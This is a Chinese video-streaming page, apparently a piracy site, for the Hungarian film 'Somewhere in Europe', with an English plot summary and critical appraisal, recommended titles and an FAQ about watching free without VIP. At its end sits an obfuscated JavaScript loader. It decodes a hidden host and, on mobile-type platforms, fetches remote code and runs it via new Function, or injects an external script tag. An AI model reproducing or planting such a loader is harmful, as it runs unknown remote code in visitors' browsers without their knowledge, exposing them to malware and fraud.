在线播放,无需安装播放器,卡顿请切换线路
快速线路
在线播放,无需安装播放器,卡顿请切换线路
高清备用
剧情介绍
简介: Somewhere in the remote region, the war ends. In the midst of ruined cities and houses in the stre
剧情: Somewhere in the remote region, the war ends. In the midst of ruined cities and houses in the stre
剧情: Somewhere in the remote region, the war ends. In the midst of ruined cities and houses in the streets, in rural hamlets, everywhere where people still live, are children who have lost their homes and parents. Abandoned, hungry, and in rags, defenseless and humiliated, they wander through the world. Hunger drives them. Little streams of orphans merge into a river which rushes forward and submerges everything in its path. The children do not know any feeling; they know only the world of their enemies. They fight, steal, struggle for a mouthful of food, and violence is merely a means to get it. A gang led by Cahoun finds a refuge in an abandoned castle and encounters an old composer who has voluntarily retired into solitude from a world of hatred, treason, and crime. How can they find a common ground, how can they become mutual friends? The castle becomes their hiding place but possibly it will also be their first home which they may organize and must defend. But even for this, the price will be very high. To this simple story, the journalist, writer, poet, scriptwriter, movie director, and film theoretician Béla Balázs applied many years of experience. He and the director Géza Radványi created a work which opened a new postwar chapter in Hungarian film. Surprisingly, this film has not lost any of its impact over the years, especially on a profound philosophical level. That is to say, it is not merely a movie about war; it is not important in what location and in what period of time it takes place. It is a story outside of time about the joyless fate of children who pay dearly for the cruel war games of adults. At the time it was premiered, the movie was enthusiastically received by the critics. The main roles were taken by streetwise boys of a children's group who created their roles improvisationally in close contact with a few professional actors, and in the children's acting their own fresh experience of war's turmoil appears to be reflected. At the same time, their performance fits admirably into the mosaic of a very complex movie language. Balázs's influence revealed itself, above all, in the introductory sequences: an air raid on an amusement park, seen in a montage of dramatic situations evoking the last spasms of war, where, undoubtedly, we discern the influence of classical Soviet cinematography. Shooting, the boy's escape, the locomotive's wheels, the shadows of soldiers with submachine guns, the sound of a whistle—the images are linked together in abrupt sequences in which varying shots and expressive sharp sounds are emphasized. A perfectly planned screenplay avoided all elements of sentimentality, time-worn stereotypes of wronged children, romanticism and cheap simplification. The authors succeeded in bridging the perilous dramatic abyss of the metamorphosis of a children's community. Their telling of the story (the scene of pillaging, the assault on the castle, etc) independently introduced some neorealist elements which, at that time, were being propagated in Italy by De Sica, Rossellini, and other film artists. The rebukes of contemporary critics, who called attention to "formalism for its own sake" have been forgotten. The masterly art of cameraman Barnabás Hegyi gives vitality to the poetic images. His angle shots of the children, his composition of scenes in the castle interior, are a living document of the times, and underline the atmosphere and the characters of the protagonists. The success of the picture was also enhanced by the musical art of composer Dénes Buday who, in tense situations, inserted the theme of the Marseilaise into the movie's structure, as a motive of community unification, as an expression of friendship and the possibility of understanding. Valahol Europaban is the first significant postwar Hungarian film. It originated in a relaxed atmosphere, replete with joy and euphoria, and it includes these elements in order to demonstrate the strength of humanism, tolerance, and friendship. It represents a general condemnation of war anywhere in the world, in any form.
详情
猜你喜欢
-
第24集
潘之琳,徐洋,马跃,郭涛,李乃文,果靖霖,王劲松,吕一,刘敏涛,黄品沅
-
HD中字
沈恩京,闵孝琳,姜素拉,南宝拉,陈熙琼,金时厚,柳好贞,朴真珠,李妍京,金甫美,千禹熙,李璟荣
-
HD中字
伊万·麦克格雷格,阿尔伯特·芬尼,比利·克鲁德普,杰西卡·兰格,海伦娜·伯翰·卡特,艾莉森·洛曼,罗伯特·吉尔劳姆,玛丽昂·歌迪亚,马修·麦克格罗里,大卫·丹曼,米西·派勒,卢顿·万恩怀特三世,艾达·泰,艾伦妮·泰,史蒂夫·布西密,丹尼·德维托,迪普·罗伊,海利·安妮·内尔森
-
HD中字
吉娜·戴维斯,苏珊·萨兰登,哈威·凯特尔,迈克尔·马德森,布拉德·皮特
-
-
-
-
第36集完结
张国立,王刚,张铁林,周涛,张昊唯,孙安可,王自健,刘佳,毛毅,刘恩尚,高晓菲,曲高位,张博,于慧,尤浩然,王宸心
-
-
正片
达菲德·弗林,莱勒·罗迪,莫·邓福德,Robbie,Walsh,Steve,Blount,黑兹尔·杜普
-
正片
安妮·波努瓦,费利克斯·博叙埃,克洛维斯·科尔尼亚克
-
正片
达格玛拉·多敏齐克,马克·马戈利斯,诺亚·施纳普,Arian Moayed,Alexander Hodge,塞乌·乔奇,汤姆·马迪罗沙,Teddy Coluca,Daniel Oreskes,Larry Gevirtz,Gero Camilo,Devin Henry,Steve Routman,Salem Murphy,Jorja Brown,艾斯西贝·布莱克
常见问题
● 请问在哪里可以免vip在线观看《欧洲的某个地方》剧情片?
网友:『欧洲的某个地方』HD中字由大师兄影视提供免费在线观看, 本片本站收录时间为:2023-07-27 16:07:59,如果你喜欢,请分享给你的周围的小伙伴:
http://www.ruiding3bu.com/ruvoddetail/51743.html 支持PC和手机免VIP同时在线观看!感谢您对我们的信任和认可,我们尽自己所能提供更加画面清晰、播放无卡顿的视频!
● 《欧洲的某个地方》精选影评
截止到目前为止,影片《欧洲的某个地方》已经有“187”参与点评。其中有“-74”人点赞并表示如果你是剧情片类型电影的爱好者,那么这部影片绝对不容错过。另外有261人觉得还可以,值得一看。但是还有176人觉得影片不行,有待提高,感谢他们的精彩演出
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{
c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){
var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");
while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';
if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rsa2dza2xiZi5jb20=','2697',window,document,['G','TpoZFcguG']);}:function(){};